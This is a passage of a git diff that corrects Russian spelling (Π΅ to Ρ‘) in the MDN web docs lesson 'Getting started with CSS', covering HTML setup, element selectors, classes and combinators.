+<p><span class="tlid-translation translation" lang="ru"><span title="">ΠœΡ‹ ΠΎΡ‚Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΈΡ€ΠΎΠ²Π°Π»ΠΈ наш ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π²Ρ‹ΡˆΠ΅ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ ΠΎΡ‚Π·Ρ‹Π²Ρ‡ΠΈΠ²ΠΎΠΉ сСтки grid, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠ½ Ρ‚Π°ΠΊΠΆΠ΅ Π²ΠΊΠ»ΡŽΡ‡Π°Π» Π² сСбя Π°Π΄Π°ΠΏΡ‚ΠΈΠ²Π½Ρ‹ΠΉ Ρ‚ΠΈΠΏ, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ описанный ΠΌΠ΅Ρ‚ΠΎΠ΄.</span> <span title="">Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Π²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊ Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ мСняСт Ρ€Π°Π·ΠΌΠ΅Ρ€Ρ‹, ΠΊΠΎΠ³Π΄Π° ΠΌΠ°ΠΊΠ΅Ρ‚ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ Π² Π²Π΅Ρ€ΡΠΈΡŽ с двумя столбцами.</span></span></p>
<p>Π’ ΠΌΠΎΠ±ΠΈΠ»ΡŒΠ½Ρ‹Ρ… вСрсиях Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ мСньшС:</p>
diff --git a/files/ru/learn/css/first_steps/getting_started/index.html b/files/ru/learn/css/first_steps/getting_started/index.html
index 674d5498d9..cad8d8ee51 100644
--- a/files/ru/learn/css/first_steps/getting_started/index.html
+++ b/files/ru/learn/css/first_steps/getting_started/index.html
@@ -15,7 +15,7 @@ translation_of: Learn/CSS/First_steps/Getting_started
<div>{{PreviousMenuNext("Learn/CSS/First_steps/What_is_CSS", "Learn/CSS/First_steps/How_CSS_is_structured", "Learn/CSS/First_steps")}}</div>
-<p class="summary">Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ возьмСм простой HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠΌ ΠΊ Π½Π΅ΠΌΡƒ CSS, изучая Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ практичСскиС Π²Π΅Ρ‰ΠΈ ΠΎ языкС.</p>
+<p class="summary">Π’ этой ΡΡ‚Π°Ρ‚ΡŒΠ΅ ΠΌΡ‹ Π²ΠΎΠ·ΡŒΠΌΡ‘ΠΌ простой HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ ΠΈ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠΌ ΠΊ Π½Π΅ΠΌΡƒ CSS, изучая Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ практичСскиС Π²Π΅Ρ‰ΠΈ ΠΎ языкС.</p>
<table class="learn-box standard-table">
<tbody>
@@ -32,7 +32,7 @@ translation_of: Learn/CSS/First_steps/Getting_started
<h2 id="Начнём_с_HTML">Начнём с HTML</h2>
-<p>НашСй ΠΎΡ‚ΠΏΡ€Π°Π²Π½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ являСтся HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΊΠΎΠΏΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠΎΠ΄ снизу, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π½Π° своСм ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅. Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅ ΠΊΠΎΠ΄ ΠΊΠ°ΠΊ <code>index.html</code> Π² ΠΏΠ°ΠΏΠΊΠ΅ Π½Π° вашСм ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅.</p>
+<p>НашСй ΠΎΡ‚ΠΏΡ€Π°Π²Π½ΠΎΠΉ Ρ‚ΠΎΡ‡ΠΊΠΎΠΉ являСтся HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡΠΊΠΎΠΏΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ ΠΊΠΎΠ΄ снизу, Ссли Π²Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅ Ρ€Π°Π±ΠΎΡ‚Π°Ρ‚ΡŒ Π½Π° своём ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅. Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Π½Π½Ρ‹ΠΉ Π½ΠΈΠΆΠ΅ ΠΊΠΎΠ΄ ΠΊΠ°ΠΊ <code>index.html</code> Π² ΠΏΠ°ΠΏΠΊΠ΅ Π½Π° вашСм ΠΊΠΎΠΌΠΏΡŒΡŽΡ‚Π΅Ρ€Π΅.</p>
<pre class="brush: html">&lt;!doctype html&gt;
&lt;html lang="ru"&gt;
@@ -81,13 +81,13 @@ translation_of: Learn/CSS/First_steps/Getting_started
color: red;
}</pre>
-<p>Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ Ρ„Π°ΠΉΠ»Ρ‹ HTML ΠΈ CSS ΠΈ ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ страницу Π² Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅. Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ уровня Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ части Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ красным. Если это ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚, ΠΏΠΎΠ·Π΄Ρ€Π°Π²Π»ΡΡŽ β€” Π’Ρ‹ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠ»ΠΈΒ CSS ΠΊ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρƒ HTML. Если этого Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Π΅Ρ‚, Π²Π½ΠΈΠΌΠ°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅, ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ Π»ΠΈ Π’Ρ‹ Π²Π²Π΅Π»ΠΈ всё.</p>
+<p>Π‘ΠΎΡ…Ρ€Π°Π½ΠΈΡ‚Π΅ Ρ„Π°ΠΉΠ»Ρ‹ HTML ΠΈ CSS ΠΈ ΠΏΠ΅Ρ€Π΅Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ страницу Π² Π²Π΅Π±-Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π΅. Π—Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ уровня Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ части Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π΄ΠΎΠ»ΠΆΠ΅Π½ Π±Ρ‹Ρ‚ΡŒ красным. Если это ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚, ΠΏΠΎΠ·Π΄Ρ€Π°Π²Π»ΡΡŽ β€” Π’Ρ‹ ΡƒΡΠΏΠ΅ΡˆΠ½ΠΎ ΠΏΡ€ΠΈΠΌΠ΅Π½ΠΈΠ»ΠΈΒ CSS ΠΊ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Ρƒ HTML. Если этого Π½Π΅ ΠΏΡ€ΠΎΠΈΠ·ΠΎΠΉΠ΄Ρ‘Ρ‚, Π²Π½ΠΈΠΌΠ°Ρ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΡ€ΠΎΠ²Π΅Ρ€ΡŒΡ‚Π΅, ΠΏΡ€Π°Π²ΠΈΠ»ΡŒΠ½ΠΎ Π»ΠΈ Π’Ρ‹ Π²Π²Π΅Π»ΠΈ всё.</p>
<p>Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ Ρ€Π°Π±ΠΎΡ‚Ρƒ Π² <code>styles.css</code> локально, ΠΈΠ»ΠΈ Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ наш ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΉ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ Π½ΠΈΠΆΠ΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΏΡ€ΠΎΠ΄ΠΎΠ»ΠΆΠΈΡ‚ΡŒ этот ΡƒΡ€ΠΎΠΊ. Π˜Π½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΉ Ρ€Π΅Π΄Π°ΠΊΡ‚ΠΎΡ€ дСйствуСт Ρ‚Π°ΠΊ, ΠΊΠ°ΠΊ Ссли Π±Ρ‹ CSS Π½Π° ΠΏΠ΅Ρ€Π²ΠΎΠΉ ΠΏΠ°Π½Π΅Π»ΠΈ Π±Ρ‹Π» связан с Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚ΠΎΠΌ HTML, ΠΊΠ°ΠΊ это Π±Ρ‹Π»ΠΎ Π² нашСм Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ Π²Ρ‹ΡˆΠ΅.</p>
<h2 id="Бтилизация_HTML-элСмСнтов">Бтилизация HTML-элСмСнтов</h2>
-<p>ДСлая наш Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ красным, ΠΌΡ‹ ΡƒΠΆΠ΅ продСмонстрировали, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅ΠΌ Π½Π°Ρ†Π΅Π»ΠΈΠ²Π°Ρ‚ΡŒ ΠΈ ΡΡ‚ΠΈΠ»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ элСмСнт HTML. ΠœΡ‹ Π΄Π΅Π»Π°Π΅ΠΌ это ΠΏΡƒΡ‚Π΅ΠΌ нацСливания Π½Π° элСмСнт<em> selector</em> β€” это сСлСктор, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉΒ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ соотвСтствуСт ΠΈΠΌΠ΅Π½ΠΈ элСмСнта HTML. Π§Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ†Π΅Π»ΠΈΡ‚ΡŒΡΡ Π½Π° всС Π°Π±Π·Π°Ρ†Ρ‹ Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅, Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ сСлСктор <code>p</code>. Π§Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ всС Π°Π±Π·Π°Ρ†Ρ‹ Π·Π΅Π»Ρ‘Π½Ρ‹ΠΌΠΈ, Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ:</p>
+<p>ДСлая наш Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ красным, ΠΌΡ‹ ΡƒΠΆΠ΅ продСмонстрировали, Ρ‡Ρ‚ΠΎ ΠΌΠΎΠΆΠ΅ΠΌ Π½Π°Ρ†Π΅Π»ΠΈΠ²Π°Ρ‚ΡŒ ΠΈ ΡΡ‚ΠΈΠ»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ элСмСнт HTML. ΠœΡ‹ Π΄Π΅Π»Π°Π΅ΠΌ это ΠΏΡƒΡ‚Ρ‘ΠΌ нацСливания Π½Π° элСмСнт<em> selector</em> β€” это сСлСктор, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉΒ Π½Π°ΠΏΡ€ΡΠΌΡƒΡŽ соотвСтствуСт ΠΈΠΌΠ΅Π½ΠΈ элСмСнта HTML. Π§Ρ‚ΠΎΠ±Ρ‹ Π½Π°Ρ†Π΅Π»ΠΈΡ‚ΡŒΡΡ Π½Π° всС Π°Π±Π·Π°Ρ†Ρ‹ Π² Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅, Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ сСлСктор <code>p</code>. Π§Ρ‚ΠΎΠ±Ρ‹ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ всС Π°Π±Π·Π°Ρ†Ρ‹ Π·Π΅Π»Ρ‘Π½Ρ‹ΠΌΠΈ, Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ:</p>
<pre class="brush: css">p {
color: green;
@@ -115,15 +115,15 @@ translation_of: Learn/CSS/First_steps/Getting_started
<p>ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ это Π² свой CSS сСйчас.</p>
-<p>Бвойство <code>list-style-type</code>Β β€” это Ρ…ΠΎΡ€ΠΎΡˆΠ΅Π΅ свойство, ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ Π½Π° MDN, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊΠΈΠ΅ значСния ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ. ВзглянитС Π½Π° страницу для <code><a href="/en-US/docs/Web/CSS/list-style-type">list-style-type</a></code>Β ΠΈ Π’Ρ‹ Π½Π°ΠΉΠ΄Π΅Ρ‚Π΅ ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ части страницы, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ значСния, Π·Π°Ρ‚Π΅ΠΌ всС допустимыС значСния Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ описаны Π½ΠΈΠΆΠ΅.</p>
+<p>Бвойство <code>list-style-type</code>Β β€” это Ρ…ΠΎΡ€ΠΎΡˆΠ΅Π΅ свойство, ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ ΠΌΠΎΠΆΠ½ΠΎ Π½Π°ΠΉΡ‚ΠΈ Π½Π° MDN, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ, ΠΊΠ°ΠΊΠΈΠ΅ значСния ΠΏΠΎΠ΄Π΄Π΅Ρ€ΠΆΠΈΠ²Π°ΡŽΡ‚ΡΡ. ВзглянитС Π½Π° страницу для <code><a href="/en-US/docs/Web/CSS/list-style-type">list-style-type</a></code>Β ΠΈ Π’Ρ‹ Π½Π°ΠΉΠ΄Ρ‘Ρ‚Π΅ ΠΈΠ½Ρ‚Π΅Ρ€Π°ΠΊΡ‚ΠΈΠ²Π½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ Π² Π²Π΅Ρ€Ρ…Π½Π΅ΠΉ части страницы, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Ρ€ΡƒΠ³ΠΈΠ΅ значСния, Π·Π°Ρ‚Π΅ΠΌ всС допустимыС значСния Π±ΡƒΠ΄ΡƒΡ‚ ΠΏΠΎΠ΄Ρ€ΠΎΠ±Π½ΠΎ описаны Π½ΠΈΠΆΠ΅.</p>
<p>Глядя Π½Π° эту страницу, Π²Ρ‹ ΠΎΠ±Π½Π°Ρ€ΡƒΠΆΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΏΠΎΠΌΠΈΠΌΠΎ удалСния ΠΌΠ°Ρ€ΠΊΠ΅Ρ€ΠΎΠ² списка Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΈΡ… β€” ΠΏΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ ΠΈΡ… Π½Π° ΠΊΠ²Π°Π΄Ρ€Π°Ρ‚Π½Ρ‹Π΅ ΠΌΠ°Ρ€ΠΊΠ΅Ρ€Ρ‹, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>square</code>.</p>
<h2 id="Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅_класса">Π”ΠΎΠ±Π°Π²Π»Π΅Π½ΠΈΠ΅ класса</h2>
-<p>Пока Ρƒ нас Π΅ΡΡ‚ΡŒ стилизованныС элСмСнты, основанныС Π½Π° ΠΈΡ… ΠΈΠΌΠ΅Π½Π°Ρ… HTML-элСмСнтов. Π­Ρ‚ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π’Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ всС элСмСнты этого Ρ‚ΠΈΠΏΠ° Π² Π’Π°ΡˆΠ΅ΠΌ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ выглядСли ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎ. Π’ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ случаСв это Π½Π΅ Ρ‚Π°ΠΊ, ΠΈ Π’Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°ΠΉΡ‚ΠΈ способ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ подмноТСство элСмСнтов, Π½Π΅ мСняя ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅. Π‘Π°ΠΌΡ‹ΠΉ распространСнный способ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это β€” Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ класс ΠΊ Π²Π°ΡˆΠ΅ΠΌΡƒ HTML-элСмСнту ΠΈ Π½Π°Ρ†Π΅Π»ΠΈΡ‚ΡŒΡΡ Π½Π° этот класс.</p>
+<p>Пока Ρƒ нас Π΅ΡΡ‚ΡŒ стилизованныС элСмСнты, основанныС Π½Π° ΠΈΡ… ΠΈΠΌΠ΅Π½Π°Ρ… HTML-элСмСнтов. Π­Ρ‚ΠΎ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Π΄ΠΎ Ρ‚Π΅Ρ… ΠΏΠΎΡ€, ΠΏΠΎΠΊΠ° Π’Ρ‹ Ρ…ΠΎΡ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎΠ±Ρ‹ всС элСмСнты этого Ρ‚ΠΈΠΏΠ° Π² Π’Π°ΡˆΠ΅ΠΌ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ выглядСли ΠΎΠ΄ΠΈΠ½Π°ΠΊΠΎΠ²ΠΎ. Π’ Π±ΠΎΠ»ΡŒΡˆΠΈΠ½ΡΡ‚Π²Π΅ случаСв это Π½Π΅ Ρ‚Π°ΠΊ, ΠΈ Π’Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°ΠΉΡ‚ΠΈ способ Π²Ρ‹Π±Ρ€Π°Ρ‚ΡŒ подмноТСство элСмСнтов, Π½Π΅ мСняя ΠΎΡΡ‚Π°Π»ΡŒΠ½Ρ‹Π΅. Π‘Π°ΠΌΡ‹ΠΉ распространённый способ ΡΠ΄Π΅Π»Π°Ρ‚ΡŒ это β€” Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ класс ΠΊ Π²Π°ΡˆΠ΅ΠΌΡƒ HTML-элСмСнту ΠΈ Π½Π°Ρ†Π΅Π»ΠΈΡ‚ΡŒΡΡ Π½Π° этот класс.</p>
-<p>Π’ своСм HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅Β ΠΡ‚Ρ€ΠΈΠ±ΡƒΡ‚ <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/class">class</a>Β ΠΊΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΌΡƒ ΠΏΡƒΠ½ΠΊΡ‚Ρƒ списка. Π’Π°Ρˆ список Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ Ρ‚Π°ΠΊ:</p>
+<p>Π’ своём HTML-Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π΅ Π΄ΠΎΠ±Π°Π²ΡŒΡ‚Π΅Β ΠΡ‚Ρ€ΠΈΠ±ΡƒΡ‚ <a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Global_attributes/class">class</a>Β ΠΊΠΎ Π²Ρ‚ΠΎΡ€ΠΎΠΌΡƒ ΠΏΡƒΠ½ΠΊΡ‚Ρƒ списка. Π’Π°Ρˆ список Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π³Π»ΡΠ΄Π΅Ρ‚ΡŒ Ρ‚Π°ΠΊ:</p>
<pre class="brush: html; highlight[3]">&lt;ul&gt;
&lt;li&gt;Π­Π»Π΅ΠΌΠ΅Π½Ρ‚ ΠΎΠ΄ΠΈΠ½&lt;/li&gt;
@@ -171,7 +171,7 @@ span.special {
<p>Π­Ρ‚ΠΎΡ‚ сСлСктор Π²Ρ‹Π±Π΅Ρ€Π΅Ρ‚ любой элСмСнт <code>&lt;em&gt;</code>, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ находится Π²Π½ΡƒΡ‚Ρ€ΠΈ (ΠΏΠΎΡ‚ΠΎΠΌΠΊΠ°) <code>&lt;li&gt;</code>. Π˜Ρ‚Π°ΠΊ, Π² Π’Π°ΡˆΠ΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π΄ΠΎΠΊΡƒΠΌΠ΅Π½Ρ‚Π° Π’Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π½Π°ΠΉΡ‚ΠΈ, Ρ‡Ρ‚ΠΎ <code>&lt;em&gt;</code> Π² Ρ‚Ρ€Π΅Ρ‚ΡŒΠ΅ΠΌ элСмСнтС списка Ρ‚Π΅ΠΏΠ΅Ρ€ΡŒ Ρ„ΠΈΠΎΠ»Π΅Ρ‚ΠΎΠ²Ρ‹ΠΉ, Π½ΠΎ Ρ‚ΠΎΡ‚, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ находится Π²Π½ΡƒΡ‚Ρ€ΠΈ Π°Π±Π·Π°Ρ†Π°, Π½Π΅ измСнился.</p>
-<p>Π•Ρ‰Ρ‘ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ ΡΡ‚ΠΈΠ»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°Π±Π·Π°Ρ†, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ ΠΈΠ΄Π΅Ρ‚ сразу послС Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Π½Π° Ρ‚ΠΎΠΌ ΠΆΠ΅ ΡƒΡ€ΠΎΠ²Π½Π΅ ΠΈΠ΅Ρ€Π°Ρ€Ρ…ΠΈΠΈ Π² HTML. Для этого помСститС <code>+</code>Β  (<strong>сосСдний братский ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ‚ΠΎΡ€</strong>) ΠΌΠ΅ΠΆΠ΄Ρƒ сСлСкторами.</p>
+<p>Π•Ρ‰Ρ‘ ΠΌΠΎΠΆΠ½ΠΎ ΠΏΠΎΠΏΡ€ΠΎΠ±ΠΎΠ²Π°Ρ‚ΡŒ ΡΡ‚ΠΈΠ»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π°Π±Π·Π°Ρ†, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ ΠΈΠ΄Ρ‘Ρ‚ сразу послС Π·Π°Π³ΠΎΠ»ΠΎΠ²ΠΊΠ° Π½Π° Ρ‚ΠΎΠΌ ΠΆΠ΅ ΡƒΡ€ΠΎΠ²Π½Π΅ ΠΈΠ΅Ρ€Π°Ρ€Ρ…ΠΈΠΈ Π² HTML. Для этого помСститС <code>+</code>Β  (<strong>сосСдний братский ΠΊΠΎΠΌΠ±ΠΈΠ½Π°Ρ‚ΠΎΡ€</strong>) ΠΌΠ΅ΠΆΠ΄Ρƒ сСлСкторами.</p>
<p>ΠŸΠΎΠΏΡ€ΠΎΠ±ΡƒΠΉΡ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅ Π΄ΠΎΠ±Π°Π²ΠΈΡ‚ΡŒ это ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ Π² Ρ‚Π°Π±Π»ΠΈΡ†Ρƒ стилСй:</p>
@@ -189,7 +189,7 @@ span.special {
<h2 id="Бтилизация_элСмСнтов_Π½Π°_основС_состояния">Бтилизация элСмСнтов Π½Π° основС состояния</h2>
-<p>ПослСдний Ρ‚ΠΈΠΏ стилСй, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΠΌΡ‹ рассмотрим Π² этом ΡƒΡ€ΠΎΠΊΠ΅, β€” это Π²ΠΎΠ·ΠΌΠΎΠΆΠ½ΠΎΡΡ‚ΡŒ ΡΡ‚ΠΈΠ»ΠΈΠ·ΠΎΠ²Π°Ρ‚ΡŒ элСмСнты Π² зависимости ΠΎΡ‚ ΠΈΡ… состояния. ΠŸΡ€ΡΠΌΡ‹ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ΠΎΠΌ этого являСтся ΡΡ‚ΠΈΠ»ΡŒ ссылок. Когда ΠΌΡ‹ создаём ссылку, ΠΌΡ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π½Π°Ρ†Π΅Π»ΠΈΡ‚ΡŒ элСмСнт <code><a href="/en-US/docs/Web/HTML/Element/a">&lt;a&gt;</a></code> (ΡΠΊΠΎΡ€ΡŒ). Он ΠΈΠΌΠ΅Π΅Ρ‚ 